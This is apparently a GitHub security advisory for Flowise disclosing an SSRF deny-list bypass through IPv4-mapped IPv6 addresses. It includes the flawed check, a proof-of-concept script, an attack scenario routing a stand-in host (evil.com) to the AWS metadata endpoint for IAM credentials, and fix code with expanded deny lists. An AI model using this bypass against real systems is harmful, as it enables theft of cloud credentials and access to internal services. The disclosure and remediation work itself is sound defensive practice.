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Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses

High severity GitHub Reviewed Published Jul 29, 2026 in FlowiseAI/Flowise • Updated Aug 4, 2026

Package

npm flowise (npm)

Affected versions

<= 3.1.2

Patched versions

3.1.3

Description

Summary

Flowise's HTTP security module (httpSecurity.ts) fails to normalize IPv4-mapped IPv6 addresses (e.g., ::ffff:127.0.0.1, ::ffff:169.254.169.254) before checking them against the deny list. Due to an ipaddr.js kind mismatch (ipv6 vs ipv4), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to ::ffff:<target_ipv4>, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost.

CWE

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-1389: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check)

Affected Versions

  • All versions up to and including v3.1.1 (latest main branch as of 2026-04-03)
  • This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+)

Details

Root Cause

The isDeniedIP() function in packages/components/src/httpSecurity.ts checks IP addresses against a deny list using ipaddr.js. The critical flaw is in the kind() comparison:

// httpSecurity.ts - isDeniedIP()
export function isDeniedIP(ip: string, denyList: string[]): void {
    const parsedIp = ipaddr.parse(ip);
    for (const entry of denyList) {
        if (entry.includes('/')) {
            try {
                const [range, _] = entry.split('/')
                const parsedRange = ipaddr.parse(range)
                // ⚠️ BUG: IPv4-mapped IPv6 has kind='ipv6', IPv4 CIDR has kind='ipv4'
                // This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry
                if (parsedIp.kind() === parsedRange.kind()) {  // <-- BYPASS HERE
                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {
                        throw new Error('Access to this host is denied by policy.')
                    }
                }
            } catch (error) {
                throw new Error(`isDeniedIP: ${error}`)
            }
        } else if (ip === entry) {
            throw new Error('Access to this host is denied by policy.')
        }
    }
}

When the resolved IP is an IPv4-mapped IPv6 address like ::ffff:169.254.169.254:

  • ipaddr.parse('::ffff:169.254.169.254').kind() returns 'ipv6'
  • ipaddr.parse('169.254.169.254').kind() (from deny list entry) returns 'ipv4'
  • 'ipv6' === 'ipv4' is false → CIDR check is completely skipped

The IPv6 deny list entries (::1, fc00::/7, fe80::/10, ff00::/8) do NOT cover the ::ffff:0:0/96 range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules.

Attack Vector

  1. Attacker registers a domain (e.g., evil.attacker.com) and sets a AAAA DNS record to ::ffff:169.254.169.254 (AWS metadata) or ::ffff:10.0.0.1 (internal service)
  2. Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to http://evil.attacker.com/latest/meta-data/
  3. resolveAndValidate() calls dns.lookup('evil.attacker.com', { all: true }) which returns [{ address: '::ffff:169.254.169.254', family: 6 }]
  4. isDeniedIP('::ffff:169.254.169.254', denyList) is called — all IPv4 CIDR entries are skipped due to kind mismatch
  5. Request is sent to 169.254.169.254 (AWS metadata service) via the IPv4-mapped IPv6 address

Affected Endpoints

All code paths using the SSRF protection functions are vulnerable:

Function Usage Count Affected Components
secureAxiosRequest() 8+ HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank
secureFetch() 5+ ApiChain, Custom Function sandbox, Jira tool, MCP tool
checkDenyList() 3+ MCP Server URL validation, fetch-links service, web scraping

Proof of Concept

// Verify the bypass using ipaddr.js (same library Flowise uses)
const ipaddr = require('ipaddr.js');

const denyList = [
    '169.254.169.254/16',  // Cloud metadata (covered by 169.254.0.0/16 in Flowise)
    '10.0.0.0/8',          // RFC1918 (covered by 10.0.0.0/8 in Flowise)
    '127.0.0.0/8',         // Loopback (covered by 127.0.0.0/8 in Flowise)
    '172.16.0.0/12',       // RFC1918 (covered by 172.16.0.0/12 in Flowise)
    '192.168.0.0/16',      // RFC1918 (covered by 192.168.0.0/16 in Flowise)
];

// Normal IPv4 - correctly blocked
const normalIP = ipaddr.parse('169.254.169.254');
console.log('169.254.169.254 kind:', normalIP.kind()); // 'ipv4'

// IPv4-mapped IPv6 - bypasses ALL checks
const mappedIP = ipaddr.parse('::ffff:169.254.169.254');
console.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); // 'ipv6'
console.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); // true
console.log('Maps to:', mappedIP.toIPv4Address().toString()); // '169.254.169.254'

// Demonstrate the bypass
for (const entry of denyList) {
    const [range] = entry.split('/');
    const parsedRange = ipaddr.parse(range);
    const kindMatch = mappedIP.kind() === parsedRange.kind();
    console.log(`${entry}: kind match = ${kindMatch}`); // ALL false!
}
// Result: ALL deny list entries are skipped

Attack Scenario (AWS Cloud):

# 1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254)
# 2. Attacker creates a chatflow with HTTP Node pointing to:
#    URL: http://evil.com/latest/meta-data/iam/security-credentials/
# 3. Flowise resolves evil.com -> ::ffff:169.254.169.254
# 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)
# 5. Request reaches AWS IMDS -> Returns IAM role credentials

Verified PoC Output

The following output was produced by running the PoC script (poc_ssrf_bypass.js) against ipaddr.js@2.2.0 (the exact version used by Flowise ^2.2.0), replicating the isDeniedIP() logic:

Step 1: kind() mismatch confirmed

169.254.169.254                kind=ipv4  isIPv4Mapped=false
::ffff:169.254.169.254         kind=ipv6  isIPv4Mapped=true  → maps to: 169.254.169.254
127.0.0.1                      kind=ipv4  isIPv4Mapped=false
::ffff:127.0.0.1               kind=ipv6  isIPv4Mapped=true  → maps to: 127.0.0.1
10.0.0.1                       kind=ipv4  isIPv4Mapped=false
::ffff:10.0.0.1                kind=ipv6  isIPv4Mapped=true  → maps to: 10.0.0.1
192.168.1.1                    kind=ipv4  isIPv4Mapped=false
::ffff:192.168.1.1             kind=ipv6  isIPv4Mapped=true  → maps to: 192.168.1.1
172.16.0.1                     kind=ipv4  isIPv4Mapped=false
::ffff:172.16.0.1              kind=ipv6  isIPv4Mapped=true  → maps to: 172.16.0.1

Step 2: Normal IPv4 — correctly blocked ✅

169.254.169.254           → 🔒 BLOCKED (matched: 169.254.169.254)
127.0.0.1                 → 🔒 BLOCKED (matched: 127.0.0.0/8)
10.0.0.1                  → 🔒 BLOCKED (matched: 10.0.0.0/8)
192.168.1.1               → 🔒 BLOCKED (matched: 192.168.0.0/16)
172.16.0.1                → 🔒 BLOCKED (matched: 172.16.0.0/12)

Step 3: IPv4-Mapped IPv6 — ALL bypass deny list ⚠️

::ffff:169.254.169.254         → ⚠️ ALLOWED (BYPASS!)  (real target: 169.254.169.254)
::ffff:127.0.0.1               → ⚠️ ALLOWED (BYPASS!)  (real target: 127.0.0.1)
::ffff:10.0.0.1                → ⚠️ ALLOWED (BYPASS!)  (real target: 10.0.0.1)
::ffff:192.168.1.1             → ⚠️ ALLOWED (BYPASS!)  (real target: 192.168.1.1)
::ffff:172.16.0.1              → ⚠️ ALLOWED (BYPASS!)  (real target: 172.16.0.1)

Step 4: Root cause — kind mismatch skips CIDR check

Checking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16
parsedIp.kind()    = 'ipv6'
parsedRange.kind() = 'ipv4'
kind match?        = false ← CIDR check is SKIPPED!
But the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16)

Step 5: Proposed fix — all bypass addresses now blocked ✅

::ffff:169.254.169.254         → 🔒 BLOCKED (FIXED!) (matched: 169.254.0.0/16)
::ffff:127.0.0.1               → 🔒 BLOCKED (FIXED!) (matched: 127.0.0.0/8)
::ffff:10.0.0.1                → 🔒 BLOCKED (FIXED!) (matched: 10.0.0.0/8)
::ffff:192.168.1.1             → 🔒 BLOCKED (FIXED!) (matched: 192.168.0.0/16)
::ffff:172.16.0.1              → 🔒 BLOCKED (FIXED!) (matched: 172.16.0.0/12)

Step 6: Attack simulation

Vulnerable isDeniedIP:  ⚠️ ALLOWED → Request reaches AWS metadata!
Fixed isDeniedIP:       🔒 BLOCKED → Attack prevented!

Verification environment: Node.js v22.13.1, ipaddr.js@2.2.0 (matches Flowise dependency ^2.2.0)
PoC script: poc_ssrf_bypass.js

Impact

Target Impact Severity
AWS/GCP/Azure Metadata (169.254.169.254) Steal IAM credentials, service account tokens Critical
Internal services (10.x.x.x, 172.16.x.x, 192.168.x.x) Access internal APIs, databases, admin panels High
Localhost (127.0.0.1) Access Flowise's own API with elevated privileges, access co-located services High

This bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) completely ineffective against IPv4-mapped IPv6 DNS resolution.

Remediation

Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended)

export function isDeniedIP(ip: string, denyList: string[]): void {
    let parsedIp = ipaddr.parse(ip);
    
    // ✅ FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking
    if (parsedIp.kind() === 'ipv6' && parsedIp.isIPv4MappedAddress()) {
        parsedIp = parsedIp.toIPv4Address();
    }
    
    for (const entry of denyList) {
        if (entry.includes('/')) {
            try {
                const [range, _] = entry.split('/');
                let parsedRange = ipaddr.parse(range);
                // Also normalize deny list entries
                if (parsedRange.kind() === 'ipv6' && parsedRange.isIPv4MappedAddress()) {
                    parsedRange = parsedRange.toIPv4Address();
                }
                if (parsedIp.kind() === parsedRange.kind()) {
                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {
                        throw new Error('Access to this host is denied by policy.');
                    }
                }
            } catch (error) {
                throw new Error(`isDeniedIP: ${error}`);
            }
        } else if (ip === entry) {
            throw new Error('Access to this host is denied by policy.');
        }
    }
}

Option 2: Add ::ffff:0:0/96 to Deny List (Defense-in-depth)

Additionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses:

const DEFAULT_DENY_LIST = [
    // ... existing entries ...
    '::ffff:0:0/96',        // Block ALL IPv4-mapped IPv6 addresses
    '::ffff:127.0.0.1/128', // Explicit loopback mapped
    '::ffff:169.254.0.0/112', // Explicit link-local mapped  
    '::ffff:10.0.0.0/104',  // Explicit RFC1918 Class A mapped
    '::ffff:172.16.0.0/108', // Explicit RFC1918 Class B mapped
    '::ffff:192.168.0.0/112', // Explicit RFC1918 Class C mapped
];

Option 3: Also normalize in resolveAndValidate() (Belt and suspenders)

async function resolveAndValidate(url: string): Promise<ResolvedTarget> {
    // ... existing code ...
    const records = await dns.lookup(hostname, { all: true });
    for (const r of records) {
        let address = r.address;
        // Normalize IPv4-mapped IPv6 for deny list checking
        if (ipaddr.isValid(address)) {
            const parsed = ipaddr.parse(address);
            if (parsed.kind() === 'ipv6' && parsed.isIPv4MappedAddress()) {
                address = parsed.toIPv4Address().toString();
            }
        }
        isDeniedIP(address, denyList);
    }
    // ... rest of code ...
}

References

@igor-magun-wd igor-magun-wd published to FlowiseAI/Flowise Jul 29, 2026
Published to the GitHub Advisory Database Aug 4, 2026
Reviewed Aug 4, 2026
Last updated Aug 4, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Incorrect Parsing of Numbers with Different Radices

The product parses numeric input assuming base 10 (decimal) values, but it does not account for inputs that use a different base number (radix). Learn more on MITRE.

CVE ID

CVE-2026-69257

GHSA ID

GHSA-c6xh-wv4j-ppv5

Source code

Credits

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